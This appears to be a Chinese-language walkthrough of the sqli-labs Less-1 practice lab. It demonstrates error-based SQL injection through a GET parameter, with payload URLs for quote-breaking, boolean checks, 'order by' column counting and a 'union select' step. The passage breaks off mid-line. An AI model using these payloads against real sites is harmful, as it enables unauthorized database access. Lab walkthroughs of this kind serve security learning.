1. Less-1 GET-Error based - Single quotes - String(GET单引号字符型注入)
#输入下列url访问,可以看到回显的用户名和密码
http://192.168.200.174/sqli-labs-master/Less-1/?id=1
#输入单引号后报错
http://192.168.200.174/sqli-labs-master/Less-1/?id=1'
说明存在sql字符型注入漏洞。
盲猜漏洞类型时可以在后面加and 1=1,and 1=2分别查看页面是否正常,前者正常,后者不正常,说明存在该类型注入漏洞,否则要修改id类型再进行测试。
http://192.168.200.174/sqli-labs-master/Less-1/?id=1' order by 3 --+
http://192.168.200.174/sqli-labs-master/Less-1/?id=1' order by 4 --+
–+注释,mysql中原来的注释为-- (–空格),但由于url中,如果在最后加上空格,浏览器发请求时会将末尾的空格舍去,所以用–+代替-- ,因为+在url中被编码后会变成空格。
猜解列数,3列正常,4列错误,即列数为3。
因为源码中有mysql_fetch_array()函数从结果集中取得一行作为关联数组,所以如果后接1’ union select 1,2,3 --+查询会始终取第一行数据。
只要SELECT * FROM users WHERE id=’$id’没有数据,页面就可以显示SELECT 1,2,3的结果。
$sql="SELECT * FROM users WHERE id='